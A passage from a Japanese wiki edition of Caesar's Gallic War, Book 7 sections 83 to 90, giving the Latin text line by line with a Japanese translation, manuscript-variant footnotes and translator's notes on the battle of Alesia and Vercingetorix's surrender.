**我が方（ローマ勢）は、堡塁により囲い込むことができずにいた。
*necessarioque&lt;ref&gt;-que はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; paene iniquo loco et leniter&lt;ref&gt;leniter はπ系写本の記述で、α系･ρ系写本では leviter となっている。&lt;/ref&gt; declivi castra fecerunt&lt;ref&gt;fecerunt はα系写本の記述で、β系写本では fecerant となっている。&lt;/ref&gt;. 
**やむをえず、ほとんど不利でゆるやかに傾斜した地点に陣営を造った。
*③　Haec C.(Gaius) Antistius Reginus et C.(Gaius) Caninius Rebilus legati 
**これを、ガーイウス・アンティスティウス・レーギーヌスとガイウス・カニニウス・レビルス [[w:レガトゥス|両副官]]が
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Caius Antistius Reginus|Gaius Antistius Reginus]]'' は[[ガリア戦記_第6巻#1節|第6巻1節]]で既出。[[#90節|90節]]で後出。）&lt;/span&gt;
*cum duabus legionibus obtinebant. 
**2個軍団とともに占めていた。
*④　Cognitis per exploratores regionibus duces hostium 
**敵方の将帥たちは、偵察者たちを通じて一帯を調べ上げて、
*LX(sexaginta) milia ex omni numero deligunt 
**総員のうちから6万名を選抜した。
*earum civitatum quae maximam virtutis opinionem habebant; 
**武勇において大きな評判を得ている部族のうち（から選抜した）。
*⑤　quid quoque pacto agi placeat, occulte inter se constituunt; 
**何が、どんな方法で行なわれるのがよいか、互いに密かに取り決めた。
*adeundi tempus definiunt, cum meridie&lt;ref&gt;meridie は中世の写本(ω)の記述であるが、近世の写本(ς)では meridies となっている。&lt;/ref&gt; esse videatur. 
**正午であると思われる頃を突撃する時と定めた。
*⑥　His copiis Vercassivellaunum Arvernum, 
**この軍勢を、[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌス、
*unum ex quattuor ducibus, propinquum [[w:la:Vercingetorix|Vercingetorigis]], praeficiunt. 
**（すなわち）4人の将帥たちの1人で、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の親族である者に、指揮させた。
*⑦　Ille ex castris prima vigilia egressus 
**彼（ウェルカッスィウェッラウヌス）は、陣営から第一夜警時に進発して、
*prope confecto sub lucem itinere 
**夜明け前にほぼ行軍が成し遂げられて、
*post montem se occultavit 
**山の後ろに身を隠して、
*militesque ex nocturno labore sese reficere iussit. 
**兵士たちに夜間の疲労を回復しておくことを命じた。
*⑧　Cum iam meridies adpropinquare videretur, 
**すでに正午に近付いていると思われたときに、
*ad ea castra, quae supra demonstravimus, contendit; 
**前に述べた陣営のところへ急いだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：本節②項を参照。）&lt;/span&gt;
*eodemque tempore equitatus ad campestres munitiones accedere 
**同時に（ガッリア来援軍の）[[w:騎兵隊|騎兵隊]]が平地の（ローマ勢の）塁壁のところへ近付き、
*et reliquae copiae pro castris sese ostendere coeperunt.
**残りの軍勢が陣営の前に姿を現わし始めた。

===84節===
'''ウェルキンゲトリークスらアレスィア籠城軍も善戦する'''
*①　[[w:la:Vercingetorix|Vercingetorix]] ex arce [[w:la:Alesia|Alesiae]] suos conspicatus ex oppido egreditur; 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、[[w:アレシア|アレスィア]]の高台から味方を望見して、[[w:オッピドゥム|城塞都市]]から進発した。
*a castris&lt;ref&gt;a castris はβ系写本の記述で、α系写本では単に castris となっている。&lt;/ref&gt;, longurios, musculos, falces 
**陣営から、長い竿、小屋、破城鎌や、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：falx「破城鎌」については、[[ガリア戦記 第5巻#42節|第5巻42節]]を参照。）&lt;/span&gt;
*reliquaque quae eruptionis causa paraverat profert. 
**（塁壁を）突破するために準備していたほかのものを運び出した。
*②　Pugnatur uno tempore omnibus locis atque omnia temptantur; 
**一時にあらゆる場所で戦われて、あらゆることが試みられた。
*quae minime visa pars firma est, huc concurritur. 
**あまり堅固ではないと思われる部分、ここへ襲いかかった。
*③　Romanorum manus tantis munitionibus distinetur 
**ローマ人の手勢は、これほどの（長大な）塁壁により離して置かれていて、
*nec facile pluribus locis occurrit. 
**より多くの場所には容易に駆け付けられなかった。
*④　Multum ad terrendos nostros valet clamor qui post tergum pugnantibus exstitit, 
**戦っている者たちの背後で生じた雄叫びは、我が方（ローマ勢）を怖れさせるために大いに力があった。
*quod suum periculum in aliena vident virtute&lt;ref&gt;virtute「武勇」 はβ系写本の記述で、α系写本では salute「安全」 となっている。&lt;/ref&gt; constare; 
**というのは、自分たち（ローマ勢）の危険が他人（ガッリア勢）の武勇に依拠していると思ったから。
*omnia enim plerumque, quae absunt, vehementius hominum mentes perturbant.
**なぜなら（そこに）不在であるものすべてはたいてい、人間の心を激しく混乱させるものであったからである。

===85節===
'''ウェルカッスィウェッラウヌスが急所の丘を攻める'''
*①　Caesar idoneum locum nactus 
**カエサルは適当な場所を得て，
*quid quaque in&lt;ref&gt;quaque in はβ系写本の記述で、α系写本では qua ex となっている。&lt;/ref&gt; parte geratur cognoscit; 
*何が各方面でなされているのかを認識した。
*laborantibus submittit. 
**苦戦している者たちに（援兵を）派遣した。
*②　Utrisque ad animum occurrit unum esse illud tempus, quo maxime contendi conveniat: 
**双方にとって、最も雌雄を決するべきはこの時のみであるということが、心に生じた。
*③　Galli, nisi perfregerint munitiones, de omni salute desperant; 
**ガッリア人たちは、（ローマ人の）塁壁を突破しない限り、あらゆる身の安全に絶望することになる。
*Romani, si rem obtinuerint, finem laborum omnium exspectant. 
**ローマ人は、もし事を成就したら、すべての労苦の終わるということを期待した。
*④　Maxime ad superiores munitiones laboratur, quo [[w:la:Vercassivellaunus|Vercassivellaunum]] missum demonstravimus. 
**ウェルカッスィウェッラウヌスが派遣されたと既述した、より高い塁壁の辺りで（ローマ勢は）とりわけ苦戦した。
*Iniquum loci ad declivitatem fastigium magnum habet momentum. 
**けわしい地形の不利な傾斜が（ローマ勢にとって）大きな影響力を持った。
*⑤　Alii tela coniciunt, alii testudine facta subeunt; 
**（ガッリア勢の）ある者は飛び道具を投げやって、ある者は[[w:テストゥド|亀甲陣形]]を形成して突き進んだ。
*defatigatis invicem integri succedunt. 
**疲労させられた者たちに対しては、新手の者たちが交代した。
*⑥　Agger ab universis in munitionem coniectus 
**土が総勢により（ローマ人の）塁壁に投じられて、
*et ascensum dat Gallis 
**ガッリア人たちに登り道を与えもしたし、
*et ea, quae in terra occultaverant Romani, contegit; 
**ローマ人たちが地中に隠しておいたもの（障害物）を埋め込んでしまった。
*nec iam arma nostris nec vires suppetunt.
**我が方（ローマ勢）には、もはや武器も活力も十分になかった。

===86節===
'''危急存亡の秋、両軍の苦闘'''
*①　His rebus cognitis 
**これらの事態を知って、
*Caesar [[w:la:Titus Labienus|Labienum]] cum cohortibus sex subsidio laborantibus mittit; 
**カエサルは、[[w:ティトゥス・ラビエヌス|ラビエーヌス]]を6個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とともに援兵として苦戦している者たちへ派遣した。
*②　imperat, si sustinere non possit&lt;ref&gt;possit はχ系･B･M･S･β系写本の記述で、L･N写本では posset となっている。&lt;/ref&gt;, deductis cohortibus eruptione pugnaret&lt;ref&gt;pugnaret はα系写本の記述で、β系写本では pugnet となっている。&lt;/ref&gt;; 
**もし（塁壁の防衛が）持ちこたえられなかったならば、諸大隊を引率して突撃によって戦うように、と命令していた。
*id nisi necessario ne faciat. 
**それは、やむをえないのでなければ行なわないように（と命じていた）。
*③　Ipse adit reliquos, cohortatur ne labori succumbant; 
**（カエサル）自身は、ほかの者たちを訪れて、労苦に屈服しないようにと鼓舞した。
*omnium superiorum dimicationum fructum in eo die atque hora docet consistere. 
**これまでのあらゆる奮闘の結実がこの日、この時にかかっていることを説いた。
*④　Interiores desperatis campestribus locis propter magnitudinem munitionum 
**（アレスィアに包囲されている）内側の者たちは、塁壁の大規模さのために、平坦な地点（での突破）を断念して、
*loca praerupta ex ascensu temptant; 
**けわしい場所を登り坂から攻撃してみた。
*huc ea quae paraverant conferunt. 
**ここに、準備していたものを運び集めた。
*⑤　Multitudine telorum ex turribus propugnantes deturbant, 
**たくさんの飛び道具によって、防戦している者たちを櫓から駆逐した。
*aggere et cratibus fossas explent, 
**土砂や柴で堀を埋めて、
*falcibus vallum ac loricam rescindunt.
**破城鎌によって防柵や胸壁を切り裂いた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：falx「破城鎌」については、[[ガリア戦記 第5巻#42節|第5巻42節]]を参照。）&lt;/span&gt;

===87節===
'''カエサルの救援、ラビエーヌスの作戦'''
*①　Mittit primo&lt;ref&gt;primo はφ系･ρ系写本の記述で、χ系･π系写本では primum となっている。&lt;/ref&gt; [[w:la:Decimus Iunius Brutus Albinus|Brutum adulescentem]] cum cohortibus Caesar, 
**カエサルは、初めに[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|青年ブルトゥス]]を諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とともに派遣して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：デキムス・ブルトゥスには[[ガリア戦記 第3巻#14節|第3巻14節]]で艦隊を、本巻[[#9節|9節]]②項では騎兵隊を指揮させている。）&lt;/span&gt;
*post cum aliis C.(Gaium) Fabium legatum; 
**後に副官のガイウス・ファビウスをほかの隊とともに（派遣した）。
*postremo ipse, cum vehementius pugnaretur, 
**最後には（カエサル）自身が、激しく戦われていたので、
*integros subsidio adducit. 
**新手の者たちを援兵として率いて行った。
*②　Restituto proelio ac repulsis hostibus 
**戦況が回復され、敵方が撃退されると、
*eo quo Labienum miserat contendit; 
**ラビエーヌスを派遣していたところに急いだ。
*cohortes IIII(quattuor) ex proximo castello deducit, 
**近隣の砦から4個歩兵大隊を引き出して、
*equitum partem se&lt;ref&gt;se はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; sequi, 
**[[w:騎兵|騎兵]]のある一部には、自らに随行することを、
*partem circumire exteriores munitiones et ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tergo hostes adoriri iubet. 
**別の一部には、外側の塁壁を取り囲んで、敵方を背後から襲撃することを命じた。
*③　Labienus, postquam neque aggeres neque fossae vim hostium sustinere poterant, 
**ラビエーヌスは、土塁も堀も敵方の武力に持ちこたえることができなかった後で、
*coactis una XL(quadraginta) cohortibus, quas ex proximis praesidiis deductas fors obtulit, 
**近隣の宿営地から、はからずも引き出しておいた40個歩兵大隊を集結させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この数は、写本によって異なり、モイゼルらは undecim「11個」と提案している。）&lt;/span&gt;
*Caesarem per nuntios facit certiorem, quid faciendum existimet. 
**何がなされるべきと考えたのかを、カエサルに伝令を通じて報告した。
*Accelerat Caesar, ut proelio intersit.
**カエサルは、戦闘（の場）に居合わせるように急いで行った。

===88節===
'''雌雄決し、ガッリア来援軍が敗走'''
*①　Eius adventu ex colore vestitus cognito, quo insigni in proeliis uti consuerat, 
**彼（カエサル）の到来が、（彼が）戦闘において目印として用いるのが常であった衣服の色から認識され、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは、真紅の外套を着用していたようである。）&lt;/span&gt;
*turmisque equitum et cohortibus visis quas se sequi iusserat, 
**（カエサルが）自らに随行することを命じていた諸&lt;ruby&gt;&lt;rb&gt;[[w:騎兵|騎兵]]小隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥルマ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が望見されて、
*ut de locis superioribus haec declivia et devexa cernebantur, 
**（ウェルカッスィウェッラウヌスらが派遣された）高地から、これらの斜面や急坂が見分けられたので、
*hostes proelium committunt. 
**敵方（ガッリア勢）は戦端を開いた。
*②　Utrimque clamore sublato 
**（ガッリア来援軍とアレスィア籠城軍の）双方から雄叫びが上げられて、
*excipit rursus ex vallo atque omnibus munitionibus clamor. 
**さらに、防柵やすべての塁壁から（ローマ勢の）雄叫びが続いた。
*Nostri omissis pilis gladiis rem gerunt. 
**我が方（ローマ勢）は&lt;ruby&gt;&lt;rb&gt;[[w:ピルム|投槍]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を放棄して、&lt;ruby&gt;&lt;rb&gt;[[w:グラディウス (武器)|長剣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;グラディウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で合戦した。
*③　Repente post tergum equitatus cernitur; 
**不意に（ガッリア勢の）背後に（ローマ勢の）騎兵隊が見分けられた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：87節②項で、カエサルは騎兵隊に外壁を迂回して敵を背後から襲撃するように命じていた。）&lt;/span&gt;
*cohortes aliae adpropinquant. 
**別の諸&lt;ruby&gt;&lt;rb&gt;歩兵大隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も接近して来た。
*Hostes terga vertunt; 
**敵方（ガッリア勢）は、（ローマ勢に）背を向けた。
*fugientibus equites occurrunt. 
**逃げる者たち（ガッリア勢）を（ローマ勢の）騎兵たちが追撃した。
*Fit magna caedes. 
**大虐殺が起こった。
*④　Sedullus, dux et princeps Lemovicum, occiditur; 
**レモウィケス族の将帥で領袖であるセドゥッルスが斃された。
*[[w:la:Vercassivellaunus|Vercassivellaunus]] Arvernus vivus in fuga comprehenditur; 
**[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌスは逃亡中に生きたまま捕らえられた。
*signa militaria LXXIIII(septuaginta quattuor) ad Caesarem referuntur; 
**（ガッリア勢の）74本の軍旗がカエサルのところへ運んで来られた。
*pauci ex tanto numero se incolumes&lt;ref&gt;se incolumes はα系写本の記述で、β系写本では incolumes se となっている。&lt;/ref&gt; in castra recipiunt. 
**これほどの兵数のうち、わずかな者たち（だけ）が無傷のまま陣営に退却した。
*⑤　Conspicati ex oppido caedem et fugam suorum 
**（アレスィアの）[[w:オッピドゥム|城塞都市]]から味方の虐殺や逃亡を視認した者たちは、
*desperata salute copias a munitionibus reducunt. 
**身の安全に絶望して、軍勢を塁壁から（城塞都市に）呼び戻した。
*⑥　Fit protinus hac re audita ex castris Gallorum fuga. 
**この事態が聞かれるとただちに、（来援に来ていた）ガッリア人たちの陣営から逃亡が生じた。
*Quodnisi crebris subsidiis ac totius diei labore milites essent defessi, 
**もし、たびたびの（味方への）支援や一日中の働きにより兵士たちが疲れ果てていなかったならば、
*omnes hostium copiae deleri potuissent. 
**敵方（ガッリア来援軍）の全軍勢が壊滅させられることが可能であっただろう。
*⑦　De media nocte missus equitatus novissimum agmen consequitur; 
**真夜中の頃に、派遣されていた（ローマ勢の）騎兵隊が（ガッリア勢の）後衛に追いついて、
*magnus numerus capitur atque interficitur; 
**（ガッリア勢の）大多数が捕らえられ、かつ殺戮された。
*reliqui ex fuga in civitates discedunt.
**（ガッリア来援軍の）残りの者たちは、逃亡して諸部族のところに逃げのびた。

==ガッリア同盟軍主力の降伏==
===89節===
[[画像:Vercingétorix se rend à César 1886 HPMotte.jpg|thumb|right|330px|「カエサルの陣営に投降するウェルキンゲトリークス」&lt;br&gt;“Vercingétorix se rendant au camp de César”、&lt;br&gt;アンリ＝ポール・モット（[[w:fr:Henri-Paul_Motte|Henri-Paul Motte]]）画、1886年。&lt;br&gt;[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。]]
[[画像:Lionel Royer - Vercingetorix Throwing down His Weapons at the feet of Julius Caesar.jpg|thumb|right|330px|「ウェルキンゲトリークスが彼の武器をユリウス・カエサルの足元に投げ捨てる」“Vercingétorix jette ses armes aux pieds de Jules César”、リオネル＝ノエル・ロワイエ（[[w:fr:Lionel Royer|Lionel-Noël Royer]]）
画、1899年。[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。]]
[[画像:Coin_Vercingetorix.jpg|thumb|right|300px|ローマがBC48年に発行した[[w:デナリウス|デナリウス銀貨]]。ウェルキンゲトリークスの横顔が刻まれているとも言われ、[[w:マメルティヌスの牢獄|トゥッリアヌム牢獄]]に虜囚となっているかつてのガッリアの盟主を見せしめにしたものとも考えられる。彼はBC46年に処刑されたが、カエサルもBC44年に暗殺された。]]
'''ウェルキンゲトリークスとアレスィア籠城軍の降伏'''
*①　Postero die [[w:la:Vercingetorix|Vercingetorix]] concilio convocato 
**（来援軍が敗走した）翌日に、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は会合を召集して、
*id bellum se suscepisse&lt;ref&gt;se suscepisse はα系写本の記述で、β系写本では suscepisse se となっている。&lt;/ref&gt; 
**この戦争を引き受けたことは
*non suarum necessitatum&lt;ref&gt;necessitatum はχ系･S･L･N･β系写本の記述で、B･M写本では necessitatium となっている。&lt;/ref&gt;, sed communis libertatis causa demonstrat, 
**自らの（野心の）必要性からではなく、（ガッリア）共通の自由のためだ、と明言した。
*②　et quoniam sit fortunae cedendum, 
**運命には従うべきものなのであるから、
*ad utramque rem se illis offerre, 
**（敗軍の将として、以下の）どちらの事にも、自ら（の処遇）を彼ら（ガッリア人たち）に委ねよう。
*seu morte sua Romanis satisfacere 
**あるいは（ウェルキンゲトリークス）自らの死によってローマ人たちに償うこと（を欲する）にせよ、
*seu vivum tradere velint. 
**あるいは生きたまま（ローマ人たちに）引き渡すことを欲するにせよ、と。
*③　Mittuntur de his rebus ad Caesarem legati. 
**これらの事柄について、カエサルのところへ使節たちが遣わされた。
*Iubet arma tradi, principes produci. 
**（カエサルは）武器が引き渡されること、領袖たちが連行されて来ることを命じた。
*④　Ipse in munitione pro castris consedit; 
**（カエサル）自身は、陣営の前の塁壁のところに腰掛けた。
*eo duces producuntur. 
**そこに（アレスィアに籠城していた）将帥たちが連行されて来た。
*Vercingetorix deditur, arma proiciuntur. 
**ウェルキンゲトリークスが引き渡されて、武器が投げ捨てられた。
*⑤　Reservatis [[w:la:Haedui|Haeduis]] atque Arvernis, 
**（カエサルは）[[w:ハエドゥイ族|ハエドゥイー族]]と[[w:アルウェルニ族|アルウェルニー族]]（の将兵たち）を保持しておいた。
*si per eos civitates reciperare&lt;ref&gt;reciperare はχ系･B&lt;sup&gt;1&lt;/sup&gt;･S･U写本の記述で、B&lt;sup&gt;c&lt;/sup&gt;･M･L･N･π系･R写本では recuperare となっている。&lt;/ref&gt; posset, 
**彼らによって両部族国家を（同盟国として）回復できないだろうかと（考えたのだ）。
*ex reliquis captivis toto exercitui capita singula praedae nomine distribuit.
**残りの（諸部族の）捕虜たちから、全軍（のローマ人）に一名ずつを戦利品という名目で分配した。

===90節===
[[画像:Autun_porte_Saint-André.JPG|thumb|right|300px|[[w:オータン|オータン市]]に遺されたローマ時代からの聖アンドレ門。[[w:ビブラクテ|ビブラクテ]]を首邑としていた[[w:ハエドゥイ族|ハエドゥイー族]]は、ローマ帝政初期に東方の平地に移り、「[[w:アウグストゥス|アウグストゥス]]の砦」を意味するアウグストドゥーヌム（[[w:la:Augustodunum|Augustodunum]]）を建設して首邑とした。これが現在のオータン（Autun）となっている。]]
[[画像:Clermont_vu_de_Montjuzet.JPG|thumb|right|300px|[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]の街並み。ローマに降伏した[[w:アルウェルニ族|アルウェルニー族]]は、後に首邑のゲルゴウィアを廃城とされ、北方の平野にあるネメトゥム（Nemetum）に移住させられた。帝政初期に[[w:アウグストゥス|アウグストゥス]]に由来するアウグストネメトゥム（[[w:la:Augustonemetum|Augustonemetum]]）に改称して、[[w:クレルモン教会会議|クレルモン教会会議]]が開かれるなど宗教的中心地として栄え、現在のクレルモン＝フェランに至る。]]
'''ハエドゥイー族とアルウェルニー族の降伏、諸軍団の冬営'''
*①　His rebus confectis in [[w:la:Haedui|Haeduos]] proficiscitur; 
**これらの事が成し遂げられて、（カエサルは）[[w:ハエドゥイ族|ハエドゥイー族]]のところに出発した。
*civitatem recipit. 
**同部族を（同盟国として）回復した。
*②　Eo legati ab Arvernis missi: 
**そこに、[[w:アルウェルニ族|アルウェルニー族]]から使節たちが遣わされて来て、
*quae imperaret, se facturos pollicentur. 
**自分たちは（カエサルが）命令したことを行なうであろう、と約束した。
*Imperat magnum numerum obsidum. 
**（カエサルは）多数の人質（の供出）を命令した。
*③　Legiones in hiberna mittit. 
**（カエサルは）諸[[w:ローマ軍団|軍団]]を冬営地に派遣した。
*Captivorum circiter XX(viginti) milia Haeduis Arvernisque reddit. 
**捕虜たち約2万人をハエドゥイー族とアルウェルニー族に返還した。
*④　[[w:la:Titus Labienus|T.&lt;small&gt;(Titum)&lt;/small&gt; Labienum]] duabus cum&lt;ref&gt;duabus cum はχ系･B･M･S写本の記述で、L･N･β系写本では cum duabus となっている。&lt;/ref&gt; legionibus et equitatu in Sequanos proficisci iubet; 
**[[w:ティトゥス・ラビエヌス|ティトゥス・ラビエーヌス]]を2個軍団および[[w:騎兵|騎兵隊]]とともにセクアニ族のところに出発することを命じた。
*huic M.&lt;small&gt;(Marcum)&lt;/small&gt; Sempronium Rutilum attribuit. 
**彼には、マルクス・[[w:センプロニウス氏族|センプロニウス]]・ルティルスを付属させた。
*⑤　C.&lt;small&gt;(Gaium)&lt;/small&gt; Fabium legatum et L.&lt;small&gt;(Lucium)&lt;/small&gt; Minucium Basilum cum legionibus duabus in Remis conlocat, 
**副官 ガーイウス・ファビウスとルキウス・ミヌキウス・バスィルスを2個軍団とともにレーミー族のところに配置した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：バスィルスは[[ガリア戦記 第6巻#29節|第6巻29節]]で騎兵隊を指揮した。）&lt;/span&gt;
*ne quam ab&lt;ref&gt;ab はφ系写本の記述で、χ系･β系写本では a となっている。&lt;/ref&gt; finitimis Bellovacis calamitatem accipiant. 
**（レーミー族が）近隣のベッロウァキ族から何らかの災禍を蒙らないようにしたのである。
*⑥　C.&lt;small&gt;(Gaium)&lt;/small&gt; Antistium Reginum in Ambivaretos, 
**ガーイウス・アンティスティウス・レーギーヌスをアンビウァレティ族のところに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Caius Antistius Reginus|Gaius Antistius Reginus]]'' は[[ガリア戦記_第6巻#1節|第6巻1節]]、[[#83節|本巻83節]]で既出。）&lt;/span&gt;
*T.&lt;small&gt;(Titum)&lt;/small&gt; Sextium in Bituriges, 
**ティトゥス・セクスティウスをビトゥリゲース族のところに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:en:Titus Sextius|Titus Sextius]] も[[ガリア戦記_第6巻#1節|第6巻1節]]で既出。第6巻の年からカエサルの副官、&lt;br&gt;　　　　　[[w:三頭政治#第二回三頭政治|第二回三頭政治]]では[[w:アフリカ属州|アフリカ属州]]の総督を務め、[[w:マルクス・アエミリウス・レピドゥス|レピドゥス]]に引き継ぐ。）
*C.&lt;small&gt;(Gaium)&lt;/small&gt; Caninium Rebilum in Rutenos cum singulis legionibus mittit. 
**ガーイウス・カニニウス・レビルスをルテーニー族のところに、それぞれ1個軍団とともに派遣した。
*⑦　[[w:la:Quintus Tullius Cicero|Q.&lt;small&gt;(Quintum)&lt;/small&gt; Tullium Ciceronem]] et P.&lt;small&gt;(Publium)&lt;/small&gt; Sulpicium 
**[[w:クィントゥス・トゥッリウス・キケロ|クィーントゥス・トゥッリウス・キケロー]]とプーブリウス・スルピキウス（・ルーフス）を
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：カエサルの副官 ''[[w:en:Sulpicia_gens#Sulpicii_Rufi|Publius Sulpicius Rufus]] は、&lt;br&gt;　　　　[[ガリア戦記_第4巻#22節|第4巻22節]]で既述。[[内乱記_第1巻#74節|『内乱記』第1巻74節]]でも言及される。&lt;br&gt;　　　　[[w:紀元前48年|BC48年]]に[[w:プラエトル|法務官]]、[[w:紀元前42年|BC42年]]に[[w:ケンソル|監察官]]に任官する。）&lt;/span&gt;
*[[w:la:Cabillonum|Cavilloni]]&lt;ref&gt;Cavilloni はβ系写本の記述で、α系写本などでは Cabilloni となっている。&lt;/ref&gt; et [[w:la:Matisco|Matiscone]] in Haeduis ad Ararim rei frumentariae causa conlocat. 
**ハエドゥイー族のところのアラル川沿いのカウィッロヌムとマティスコに、糧秣調達のために配置した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カウィッロヌムは現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]、マティスコは現在の[[w:マコン|マコン]]。）&lt;/span&gt;
*Ipse [[w:la:Bibracte|Bibracte]] hiemare constituit. 
**（カエサル）自身は、[[w:ビブラクテ|ビブラクテ]]で冬営することを決めた。
*⑧　His litteris&lt;ref&gt;his litteris「これらが書簡により（知られると）」はα系写本の記述で、β系写本では huius anni rebus「この年の事績が（知られると）」と異なっており、huius anni rebus &lt;ex Caesaris&gt; litteris「この年の事績が＜カエサルの＞書簡により（知られると）」 などと修正提案されている。」&lt;/ref&gt; cognitis Romae dierum viginti supplicatio redditur.
**これらが（カエサルの）書簡により知られると、ローマで20日間の感謝祭が許された。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第2巻#35節|第2巻35節]]では、かつてない15日間の感謝祭が決議されたが、今回はそれを超えるものであった。）&lt;/span&gt;
----
*&lt;span style=&quot;background-color:#99ff99;&quot;&gt;「ガリア戦記 第7巻」了。「[[ガリア戦記 第8巻]]」へ続く。&lt;/span&gt;

==脚注==
&lt;references /&gt;
==参考リンク==
'''ウィキペディア英語版など'''
*'''[[w:en:Category:Tribes of ancient Gaul|Category:Tribes of ancient Gaul]]'''（'''[[w:Category:ガリアの部族|Category:ガリアの部族]]'''）- [[w:fr:Catégorie:Personnalité gauloise|fr:Catégorie:Personnalité gauloise]]
**[[w:en:Allobroges|Allobroges]]（アッロブロゲス族）
**'''[[w:en:Arverni|Arverni]]'''（'''[[w:アルウェルニ族|アルウェルニー族]]'''）
**:'''[[w:en:Vercingetorix|Vercingetorix]]'''（'''[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Vercingetorix|la:Vercingetorix]]&lt;/span&gt;'''
**:[[w:fr:Celtillos|fr:Celtillos]]（ケルティッルス）；ウェルキンゲトリークスの父
**:[[w:fr:Gobannitio|fr:Gobannitio]]（ゴバンニティオ）；ウェルキンゲトリークスのおじ
**:[[w:en:Vercassivellaunos|Vercassivellaunos]]（ウェルカッスィウェッラウヌス） - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Vercassivellaunus|la:Vercassivellaunus]]&lt;/span&gt;
**:Critognatus（クリトグナトゥス）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Critognatus|la:Critognatus]]&lt;/span&gt;
**[[w:en:Atrebates|Atrebates]]（アトレバテス族）
**:[[w:en:Commius|Commius]]（[[w:コンミウス|コンミウス]]）：ガッリアとブリタンニアにおけるアトレバテス族の王
**[[w:en:Aedui|Aedui]]（[[w:ハエドゥイ族|ハエドゥイー族]]）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Haedui|la:Haedui]]&lt;/span&gt;'''；ガッリア中部の有力部族 - [[w:fr:Éduens|fr:Éduens]] ＜[[w:fr:Catégorie:Éduens|fr:Catégorie:Éduens]]
**:[[w:en:Convictolitavis|Convictolitavis]]（コンウィクトリタウィス）- [[w:fr:Convictolitavis|fr:Convictolitavis]]
**:[[w:fr:Cotos|fr:Cotos]]（コトゥス）
**:[[w:fr:Litaviccos|fr:Litaviccos]]（リタウィックス）
**:エポレドリクス - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Eporedorix|la:Eporedorix]]&lt;/span&gt;
**:ウィリドマルス
**[[w:en:Andes (Andecavi)|Andes (Andecavi)]]（アンデス族）；現在の[[w:アンジェ|アンジェ]]（Angers）周辺の部族
**[[w:en:Aulerci|Aulerci]]（アウレルキ族）；現在のフランス北西部に居住していた部族連合
**[[w:en:Bellovaci|Bellovaci]]（ベッロウァキ族）
**[[w:en:Bituriges|Bituriges]]（ビトゥリゲース族）；現在の[[w:ブールジュ|ブールジュ]]（Bourges）周辺の部族。[[#5節|5節]]でガッリア同盟軍に寝返る。
